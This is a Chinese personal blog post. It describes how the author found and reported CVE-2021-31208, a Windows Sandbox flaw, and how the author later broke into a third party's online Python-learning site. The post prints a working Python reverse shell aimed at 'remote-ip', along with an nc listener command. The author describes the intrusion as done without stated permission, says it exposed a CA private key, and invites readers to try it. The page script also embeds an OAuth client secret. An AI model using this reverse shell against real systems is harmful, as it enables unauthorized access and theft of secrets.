var lastUpdated = new Date("Thu, 01 Jan 2026 00:00:18 +0800");
var BlogAPI = "https://summary.mayx.eu.org";
</script>
<script src="/assets/js/main.js"></script>
<!--[if !IE]> -->
<!-- Global site tag (gtag.js) - Google Analytics -->
<script async="async" src="https://www.googletagmanager.com/gtag/js?id=UA-137710294-1"></script>
<script>
window.dataLayer = window.dataLayer || [];
function gtag(){dataLayer.push(arguments);}
gtag('js', new Date());
gtag('config', 'UA-137710294-1');
</script>
<script src="/assets/js/instant.page.js" type="module"></script>
<!-- <![endif]-->
</head>
<body>
<!--[if !IE]> --><noscript><marquee style="top: -15px; position: relative;"><small>发现当前浏览器没有启用JavaScript这不影响你的浏览但可能会有一些功能无法使用……</small></marquee></noscript><!-- <![endif]-->
<!--[if IE]><marquee style="top: -15px; position: relative;"><small>发现当前浏览器为Internet Explorer这不影响你的浏览但可能会有一些功能无法使用……</small></marquee><![endif]-->
<div class="wrapper">
<header class="h-card">
<h1><a class="u-url u-uid p-name" rel="me" href="/">Mayx的博客</a></h1>
<img src="https://avatars0.githubusercontent.com/u/17966333" fetchpriority="high" class="u-photo" alt="Logo" style="width: 90%; max-width: 300px; max-height: 300px;" />
<p class="p-note">Mayx's Home Page</p>
<form action="/search.html">
<input type="text" name="keyword" id="search-input-all" placeholder="Search blog posts.." />&#160;<input type="submit" value="搜索" />
</form>
<br />
<p class="view"><a class="u-url" href="/Mabbs/">About me</a></p>
<ul class="downloads">
<li style="width: 270px; border-right: none;"><a href="/MayxBlog.tgz">Download <strong>TGZ File</strong></a></li>
</ul>
</header>
<section class="h-entry">
<small><time class="date dt-published" datetime="2021-05-15T00:00:00+08:00">15 May 2021</time> - 字数统计3183 - 阅读大约需要10分钟 - Hits: <span id="/2021/05/15/vulnerability.html" class="visitors">Loading...</span></small>
<h1 class="p-name">论如何发现一个计算机漏洞</h1>
<p class="view">by <a class="p-author h-card" href="//github.com/Mabbs">mayx</a></p>
<div id="outdate" style="display:none;">
<hr /><p>
这是一篇创建于 <span id="outime"></span> 天前的文章,其中的信息可能已经有所发展或是发生改变。
</p>
</div>
<script>
daysold = Math.floor((new Date().getTime() - new Date("Sat, 15 May 2021 00:00:00 +0800").getTime()) / (24 * 60 * 60 * 1000));
if (daysold > 90) {
document.getElementById("outdate").style.display = "block";
document.getElementById("outime").innerHTML = daysold;
}
</script>
<hr />
<b>AI摘要</b>
<p id="ai-output">这篇文章主要讲述了作者发现并报告Windows沙箱存在漏洞的个人经历。作者在使用Windows沙箱时意外发现微软Edge Beta版被无理由安装并且在尝试卸载时误删了正式版Edge同时沙箱中的操作影响到物理机。随后作者将此漏洞报告给微软建议通过Microsoft Security Response Center正式渠道提交并提醒读者在复现漏洞时的环境要求。作者最后提到这个简单漏洞让他的人生中首次贡献了一个CVE Common Vulnerabilities and Exposures公共漏洞和暴露——CVE-2021-31208对自己的发现感到高兴。在分享过程中作者还提及了一个与安全相关的实验展示了如何利用代码反弹shell攻击。</p>
<hr />
<ul><li><a href="#起因">起因</a></li><li><a href="#windows沙箱的漏洞发现过程与复现方法">Windows沙箱的漏洞发现过程与复现方法</a><ul><li><a href="#复现的环境要求">复现的环境要求</a></li><li><a href="#人生中第一个自己贡献了的cve">人生中第一个自己贡献了的CVE</a></li></ul></li><li><a href="#那天我黑掉的网站">那天我黑掉的网站</a></li><li><a href="#总结">总结</a></li></ul>
<hr />
<main class="post-content e-content" role="main"><p>网络安全?可不只是专业人员的事情。<!--more--></p>
<h1 id="起因">
<a href="#起因"><svg class='octicon' viewBox='0 0 16 16' version='1.1' width='16' height='32' aria-hidden='true'><path fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z'></path></svg></a> 起因
</h1>
<p>一个月前我发现了Windows沙箱有个很严重的漏洞害得我都不敢相信微软产品的安全性了……不过Windows沙箱还是挺好用的我不希望因为这种安全问题就放弃它所以我就向微软反馈了这个漏洞。 </p><p>
于是昨两天,微软给我发邮箱说这个漏洞已经修好了,顺便感谢了一下我对微软产品安全性的贡献。虽然吧这个感谢也没给钱啥的,但是这个<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31208">漏洞的描述页面</a>能把我的名字写上去这个我还是挺高兴的。 </p><p>
在我收到这个消息当天,我兴奋的顺手又黑掉了一个网站😂,难不成我的天赋在信息安全上?</p>
<h1 id="windows沙箱的漏洞发现过程与复现方法">
<a href="#windows沙箱的漏洞发现过程与复现方法"><svg class='octicon' viewBox='0 0 16 16' version='1.1' width='16' height='32' aria-hidden='true'><path fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z'></path></svg></a> Windows沙箱的漏洞发现过程与复现方法
</h1>
<p>在几个月前我的电脑莫名其妙的被安装上了Microsoft Edge Beta版我明明从来没有安装过但是它就是莫名其妙的出现了。这么一安装我的电脑就有了两个Edge浏览器。像我对电脑上面的东西还是有一点点的洁癖的我不希望电脑上出现多余的东西像这种出现两个Edge的问题我肯定是无法忍受。所以呢我就开始想方设法的卸载掉它。 </p><p>
一般来说Edge Beta都是手动安装的所以这种情况在“卸载或更改程序”里应该是可以发现的但是这个是莫名其妙被安装上的自然也就不会出现在那个列表之中。接下来我开始搜如何强行卸载掉Edge网上搜到的答案一般就是在浏览器内核文件夹下找到<code class="language-plaintext highlighter-rouge">Installer</code>文件夹,然后在这个文件夹下执行命令<code class="language-plaintext highlighter-rouge">.\setup.exe --uninstall --system-level --verbose-logging --force-uninstall</code>就OK了。结果我明明是去的Beta版下的那个文件夹执行的这条命令然后它把我正式版的Edge卸掉了……卸掉之后不仅留下了一个删不掉的图标而且Beta版里也没有我的Cookie和插件…… </p><p>
过了两天Windows更新了更新之后正式版的又给我安装回来了……这真的是不知道怎么说……后来我下了一个Geek Uninstaller总算是把那个困扰我很长时间的Edge Beta卸载掉了。 </p><p>
就以上这件事情搞的我很烦躁烦躁之后就想发泄发泄又不能对着我的电脑发泄于是我就打开了Windows沙箱把Windows沙箱里的Edge给卸载掉了。结果怎么着我物理机上的Edge也不见了这说明了啥问题我在沙箱里做的操作竟然影响到了物理机后来我经过测试发现微软似乎把物理机里的<code class="language-plaintext highlighter-rouge">C:\Program Files (x86)\Microsoft\Edge\Application</code>文件夹映射到了沙箱里,而且没有做任何的限制。这可真是太可怕了,要知道沙箱相当于一个被信任执行危险东西的一个地方,那么使用它的人都是不会考虑里面运行的东西是不是安全的,看来阿三写的代码不行啊。假如我写一个程序,它把<code class="language-plaintext highlighter-rouge">msedge.exe</code>文件感染了比如说加个壳啥的物理机上用Edge的人应该也不少吧至少市场占有率都已经超过Firefox了那么在沙箱里Edge被感染的人在物理机上一旦运行那么物理机将陷入危险的境地。 </p><p>
最开始我发现了这个漏洞之后我是在反馈中心里提交的,不过那个看起来貌似一点点用都没有,微软是没有人会去看那个东西的,而且就算看到了也只会静悄悄的修复掉,你的反馈就和垃圾没什么区别。 </p><p>
后来我在百度上搜怎么向微软提交漏洞,百度简直就是个垃圾,没有搜到一点点有用的信息,之后看了半天我看到有一个文章说可以给 <a href="mailto:secure@microsoft.com">secure@microsoft.com</a> 发邮件来反馈BUG于是我就用英文写了篇文章来报告这个BUG。
不过我的方法并不正确因为微软有专门反馈BUG的网站也就是<a href="https://www.microsoft.com/zh-cn/msrc/">Microsoft Security Response Center</a>。你如果直接用邮箱报告他们当然也会回复,但是大概率得不到奖金,因为人家的报告一般都有格式,自己写邮件肯定是不知道要按什么格式写。所以垃圾百度搜给微软报告漏洞根本找不到这个网站,还是我发了邮件之后才知道原来可以在这里报告,所以如果大家以后找到微软的漏洞想报告,千万不要用那个垃圾“反馈中心”,也不要发邮件,最好直接在<a href="https://msrc.microsoft.com/create-report">这里</a>报告漏洞。 </p><p>
另外还有个问题就是如果真的得到了奖金拿到它也有点麻烦因为微软不能说是让你发个支付宝收款码之类的得先注册一个HackerOne或者Bugcrowd的账户而且从国外提款很麻烦所以如果不是那种经常能发现漏洞的或者是在安全公司里的人基本上这钱就还是别提了。</p>
<h2 id="复现的环境要求">
<a href="#复现的环境要求"><svg class='octicon' viewBox='0 0 16 16' version='1.1' width='16' height='32' aria-hidden='true'><path fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z'></path></svg></a> 复现的环境要求
</h2>
<p>这个漏洞的大致使用方法读完上面的部分大家应该也都明白了吧PoC那种东西我怎么可能会写傻子都知道怎么测试了吧所以如果大家想复现这个漏洞首先需要运行在Windows 10的电脑上安装Windows沙箱最早的有效版本我不太清楚因为这个漏洞是微软把旧版的Edge完全从电脑上删除开始的另外目前的话如果想要复现这个漏洞不能安装<a href="https://catalog.update.microsoft.com/v7/site/Search.aspx?q=KB5003173">KB5003173</a>补丁如果安装了貌似也可以卸载掉。所以以当前发布这篇文章的时间来看只要在最新的Windows 10上卸载KB5003173补丁然后安装Windows沙箱就可以复现这个漏洞。</p>
<h2 id="人生中第一个自己贡献了的cve">
<a href="#人生中第一个自己贡献了的cve"><svg class='octicon' viewBox='0 0 16 16' version='1.1' width='16' height='32' aria-hidden='true'><path fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z'></path></svg></a> 人生中第一个自己贡献了的CVE
</h2>
<p>看来<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31208">CVE-2021-31208</a>就是我贡献的了,以后只要在微软的<a href="https://msrc.microsoft.com/update-guide/acknowledgement">鸣谢列表</a>里搜索Mayx就可以搜到我找到的漏洞了虽然这个漏洞很简单但是自己的名字能写到那个列表里也挺令人高兴的啊。</p>
<h1 id="那天我黑掉的网站">
<a href="#那天我黑掉的网站"><svg class='octicon' viewBox='0 0 16 16' version='1.1' width='16' height='32' aria-hidden='true'><path fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z'></path></svg></a> 那天我黑掉的网站
</h1>
<p>5月12日那天有一名叫做<a href="https://github.com/Kingfish404">Kingfish404</a>的人Fork了我的博客结果第一眼看到了那个爬猎聘网的脚本吓得我还以为这位是我的老师因为最近我参与的一个项目就是去爬各种招聘网站。总之就是这些原因我对这个人产生了一点点兴趣就看了看Ta的仓库。看着看着看到了一个可以<a href="https://github.com/Kingfish404/LearnPython">在线学习Python的网站源代码</a>我很久以前就很想做一个开源的这种在线运行Python代码然后可以自动批阅的网站就像Python123那样就是因为他们那个服务要收费所以就想写个开源的不过因为如果直接用Python在服务器上运行的话实在是太危险了所以我想的是写一个使用Docker来运行Python并且评分的平台也许可以用k8s可惜我水平有限不怎么会用Docker所以就没再管了。但是今天既然看到了那不得拜读一下结果发现这个人写的就是我说的那种危险方法运行Python脚本的看了一下代码还用了一个漏洞百出的安全检查函数来防止攻击……总之既然有示例站我们就来搞搞试试看嘛。一般来说这种反弹shell绝对是简单的不得了不过我也只是知道这个概念怎么用我还是不太清楚。然后就搜了一下看到了<a href="http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet">这篇文章</a>。嗯……现实中攻击还是要比CTF中攻击有意思然后我就在我的服务器上执行了一下<code class="language-plaintext highlighter-rouge">nc -lvvp 1234</code>,在它的代码执行框里执行:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">socket</span><span class="p">,</span><span class="n">subprocess</span><span class="p">,</span><span class="n">os</span>
<span class="n">s</span><span class="o">=</span><span class="n">socket</span><span class="p">.</span><span class="n">socket</span><span class="p">(</span><span class="n">socket</span><span class="p">.</span><span class="n">AF_INET</span><span class="p">,</span><span class="n">socket</span><span class="p">.</span><span class="n">SOCK_STREAM</span><span class="p">)</span>
<span class="n">s</span><span class="p">.</span><span class="n">connect</span><span class="p">((</span><span class="s">"remote-ip"</span><span class="p">,</span><span class="mi">1234</span><span class="p">))</span>
<span class="n">os</span><span class="p">.</span><span class="n">dup2</span><span class="p">(</span><span class="n">s</span><span class="p">.</span><span class="n">fileno</span><span class="p">(),</span><span class="mi">0</span><span class="p">)</span>
<span class="n">os</span><span class="p">.</span><span class="n">dup2</span><span class="p">(</span><span class="n">s</span><span class="p">.</span><span class="n">fileno</span><span class="p">(),</span><span class="mi">1</span><span class="p">)</span>
<span class="n">os</span><span class="p">.</span><span class="n">dup2</span><span class="p">(</span><span class="n">s</span><span class="p">.</span><span class="n">fileno</span><span class="p">(),</span><span class="mi">2</span><span class="p">)</span>
<span class="n">p</span><span class="o">=</span><span class="n">subprocess</span><span class="p">.</span><span class="n">call</span><span class="p">([</span><span class="s">"/bin/sh"</span><span class="p">,</span><span class="s">"-i"</span><span class="p">])</span>
</code></pre></div></div>
<p>就这样我就成功的反弹了一个Shell虽然吧Ta给的权限不高但是下个CA证书的私钥还是轻轻松松的。后来我给这个人反馈了一下他就把网站关掉了。 </p><p>
所以如果谁有兴趣想亲手试试看怎么反弹Shell也可以下载Ta的代码试一试。</p>
<h1 id="总结">
<a href="#总结"><svg class='octicon' viewBox='0 0 16 16' version='1.1' width='16' height='32' aria-hidden='true'><path fill-rule='evenodd' d='M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z'></path></svg></a> 总结
</h1>
<p>从以上来看,想找漏洞绝不是一定要学过网络/信息安全的人才能干的事情,至少我不是信息安全专业的,所以只要有能注意到问题的思考方法,要正面面对问题,要刻意触发问题,知道问题出现在哪里,猜测问题可以做什么,那么谁都可以发现漏洞,虽然发现了也不能说是大神吧……但是你看看这把我的名字写到鸣谢里不挺让人开心的吗?</p></main>
<small style="display: block">tags: <a rel="category tag" class="p-category" href="/search.html?keyword=%E5%AE%89%E5%85%A8"><em>安全</em></a> - <a rel="category tag" class="p-category" href="/search.html?keyword=%E6%BC%8F%E6%B4%9E"><em>漏洞</em></a> - <a rel="category tag" class="p-category" href="/search.html?keyword=%E7%BD%91%E7%BB%9C"><em>网络</em></a> <span style="float: right;"><a href="https://gitlab.com/mayx/mayx.gitlab.io/tree/master/_posts/2021-05-15-vulnerability.md">查看原始文件</a></span></small>
<h4 style="border-bottom: 1px solid #e5e5e5;margin: 2em 0 5px;">推荐文章</h4>
<p id="suggest-container">Loading...</p>
<script>
var suggest = $("#suggest-container");
$.get(BlogAPI + "/suggest?id=/2021/05/15/vulnerability.html&update=" + lastUpdated.valueOf(), function (data) {
if (data.length) {
getSearchJSON(function (search) {
suggest.empty();
var searchMap = {};
for (var i = 0; i < search.length; i++) {
searchMap[search[i].url] = search[i];
}
var tooltip = $('<div class="content-tooltip"></div>').appendTo('body').hide();
for (var j = 0; j < data.length; j++) {
var item = searchMap[data[j].id];
if (item) {
var link = $('<a href="' + item.url + '">' + item.title + '</a>');
var contentPreview = item.content.substring(0, 100);
if (item.content.length > 100) {
contentPreview += "……";
}
link.hover(
function(e) {
tooltip.text($(this).data('content'))
.css({
top: e.pageY + 10,
left: e.pageX + 10
})
.show();
},
function() {
tooltip.hide();
}
).mousemove(function(e) {
tooltip.css({
top: e.pageY + 10,
left: e.pageX + 10
});
}).data('content', contentPreview);
suggest.append(link);
suggest.append(' - ' + item.date + '<br />');
}
}
});
} else {
suggest.html("暂无推荐文章……");
}
});
</script>
<br />
<div class="pagination">
<span class="prev">
<a href="/2021/05/07/ssh.html">
上一篇:网络任意互联指南
</a>
</span>
<br />
<span class="next">
<a href="/2021/06/10/distributed.html">
下一篇:关于去中心化分布式系统的探索
</a>
</span>
</div>
<!--[if !IE]> -->
<link rel="stylesheet" href="/assets/css/gitalk.css">
<script src="/assets/js/gitalk.min.js"></script>
<div id="gitalk-container"></div>
<script>
var gitalk = new Gitalk({
clientID: '36557aec4c3cb04f7ac6',
clientSecret: 'ac32993299751cb5a9ba81cf2b171cca65879cdb',
repo: 'mabbs.github.io',
owner: 'Mabbs',
admin: ['Mabbs'],
id: '/2021/05/15/vulnerability', // Ensure uniqueness and length less than 50
distractionFreeMode: false, // Facebook-like distraction free mode
proxy: "https://cors-anywhere.mayx.eu.org/?https://github.com/login/oauth/access_token"
})
gitalk.render('gitalk-container')
</script>
<!-- <![endif]-->
</section>
<!--[if !IE]> -->
<div id="landlord" style="left:5px;bottom:0px;">
<div class="message" style="opacity:0"></div>
<canvas id="live2d" width="500" height="560" class="live2d"></canvas>
<div class="live_talk_input_body">
<form id="live_talk_input_form">
<div class="live_talk_input_name_body" >
<input type="checkbox" id="load_this" />
<input type="hidden" id="post_id" value="/2021/05/15/vulnerability.html" />
<label for="load_this">
<span style="font-size: 11px; color: #fff;">&#160;想问这篇文章</span>
</label>
</div>
<div class="live_talk_input_text_body">
<input name="talk" type="text" class="live_talk_talk white_input" id="AIuserText" autocomplete="off" placeholder="要和我聊什么呀?" />
<button type="submit" class="live_talk_send_btn" id="talk_send">发送</button>
</div>
</form>
</div>
<input name="live_talk" id="live_talk" value="1" type="hidden" />
<div class="live_ico_box" style="display:none;">
<div class="live_ico_item type_info" id="showInfoBtn"></div>
<div class="live_ico_item type_talk" id="showTalkBtn"></div>
<div class="live_ico_item type_music" id="musicButton"></div>
<div class="live_ico_item type_youdu" id="youduButton"></div>
<div class="live_ico_item type_quit" id="hideButton"></div>
<input name="live_statu_val" id="live_statu_val" value="0" type="hidden" />
<audio src="" style="display:none;" id="live2d_bgm" data-bgm="0" preload="none"></audio>
<input id="duType" value="douqilai" type="hidden" />
</div>
</div>
<div id="open_live2d">召唤伊斯特瓦尔</div>
<!-- <![endif]-->
<footer>
<p>
<small>Made with ❤ by Mayx<br />Last updated at 2026-01-01 00:00:18<br /> 总字数614622 - 文章数178 - <a href="/atom.xml" >Atom</a> - <a href="/README.html" >About</a></small>
</p>
</footer>
</div>
<script src="/assets/js/scale.fix.js"></script>
<!--[if !IE]> -->
<script src="/assets/js/main_new.js"></script>
<script src="/Live2dHistoire/live2d/js/live2d.js"></script>
<script src="/Live2dHistoire/live2d/js/message.js"></script>
<!-- <![endif]-->
</body>
</html>